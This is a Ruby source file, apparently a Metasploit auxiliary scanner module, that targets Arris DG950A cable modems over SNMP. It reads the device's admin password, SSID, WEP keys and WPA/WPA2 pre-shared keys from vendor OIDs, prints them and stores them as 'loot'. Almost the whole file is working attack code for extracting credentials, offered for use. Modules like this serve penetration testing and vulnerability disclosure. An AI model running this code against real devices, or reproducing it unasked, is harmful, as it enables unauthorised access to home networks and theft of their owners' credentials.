143 lines
4.6 KiB
Ruby
143 lines
4.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::SNMPClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Arris DG950A Cable Modem Wifi Enumeration',
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'Description' => %q{
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This module will extract WEP keys and WPA preshared keys from
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Arris DG950A cable modems.
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},
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'References' =>
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[
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['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/08/21/more-snmp-information-leaks-cve-2014-4862-and-cve-2014-4863']
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],
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'Author' => ['Deral "Percent_X" Heiland'],
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'License' => MSF_LICENSE
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)
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end
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def run_host(ip)
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snmp = connect_snmp
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if snmp.get_value('sysDescr.0') =~ /DG950A/
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print_line("#{ip}")
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# System Admin Password
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wifi_info = ''
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password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
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print_line("Password: #{password}")
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wifi_info << "Password: #{password}" << "\n"
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else
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fail_with(Failure::NoTarget, "Does not appear to be an Arris DG950A")
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end
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# check WPA Encryption Algorithm
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encrypt_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1.12')
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case encrypt_type
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when 1
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wpa_encrypt = "TKIP"
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when 2
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wpa_encrypt = "AES"
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when 3
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wpa_encrypt = "TKIP/AES"
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else
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wpa_encrypt = "Unknown"
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end
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# Wifi Status
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wifi_status = snmp.get_value('1.3.6.1.2.1.2.2.1.8.12')
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if wifi_status == '1'
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ssid = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.22.1.2.12')
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print_line("SSID: #{ssid}")
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wifi_info << "SSID: #{ssid}" << "\n"
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# Wifi Security Settings
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wifi_version = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.22.1.5.12')
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if wifi_version == '0'
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print_line('Open Access Wifi is Enabled')
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wifi_info << 'Open Access WIFI is Enabled' << '\n'
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# WEP enabled
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elsif wifi_version == '1'
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wep_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2.12')
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case wep_type
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when 1
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oid = "1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12"
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when 2
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oid = "1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12"
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else
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print_line('FAILED')
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end
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wepkey1 = snmp.get_value("#{oid}.1")
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key1 = "#{wepkey1}"
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print_line("WEP KEY1: #{key1}")
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wifi_info << "WEP KEY1: #{key1}" << "\n"
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wepkey2 = snmp.get_value("#{oid}.2")
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key2 = "#{wepkey2}"
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print_line("WEP KEY2: #{key2}")
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wifi_info << "WEP KEY2: #{key2}" << "\n"
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wepkey3 = snmp.get_value("#{oid}.3")
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key3 = "#{wepkey3}"
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print_line("WEP KEY3: #{key3}")
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wifi_info << "WEP KEY3: #{key3}" << "\n"
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wepkey4 = snmp.get_value("#{oid}.4")
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key4 = "#{wepkey4}"
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print_line("WEP KEY4: #{key4}")
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wifi_info << "WEP KEY4: #{key4}" << "\n"
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# WPA enabled
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elsif wifi_version == '2'
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wpapsk = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12')
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print_line("WPA PSK: #{wpapsk}")
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print_line("WPA Encryption: #{wpa_encrypt}")
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wifi_info << "WPA PSK: #{wpapsk}" << "\n"
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wifi_info << "WPA Encryption #{wpa_encrypt}" << "\n"
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# WPA2 enabled
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elsif wifi_version == '3'
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wpapsk2 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12')
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print_line("WPA2 PSK: #{wpapsk2}")
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print_line("WPA2 Encryption: #{wpa_encrypt}")
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wifi_info << "WPA2 PSK: #{wpapsk2}" << "\n"
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wifi_info << "WPA2 Encryption: #{wpa_encrypt}" << "\n"
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# WPA/WPA2 enabled
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elsif wifi_version == '7'
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wpawpa2psk = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12')
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print_line("WPA/WPA2 PSK: #{wpawpa2psk}")
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print_line("WPA/WPA2 Encryption: #{wpa_encrypt}")
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wifi_info << "WPA/WPA2 PSK: #{wpawpa2psk}" << "\n"
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wifi_info << "WPA/WPA2 Encryption: #{wpa_encrypt}" << "\n"
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else
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print_line('FAILED')
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end
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else
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print_line('WIFI is not enabled')
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end
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# Woot we got loot.
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loot_name = 'arris_wifi'
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loot_type = 'text/plain'
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loot_filename = 'arris_wifi.text'
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loot_desc = 'Arris DG950A Wifi configuration data'
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p = store_loot(loot_name, loot_type, datastore['RHOST'], wifi_info, loot_filename, loot_desc)
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print_good("WiFi Data saved in: #{p}")
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# No need to make noise
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rescue ::SNMP::UnsupportedVersion
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rescue ::SNMP::RequestTimeout
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raise $ERROR_INFO
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rescue ::Exception => e
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print_error("#{ip} error: #{e.class} #{e.message}")
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disconnect_snmp
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end
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end
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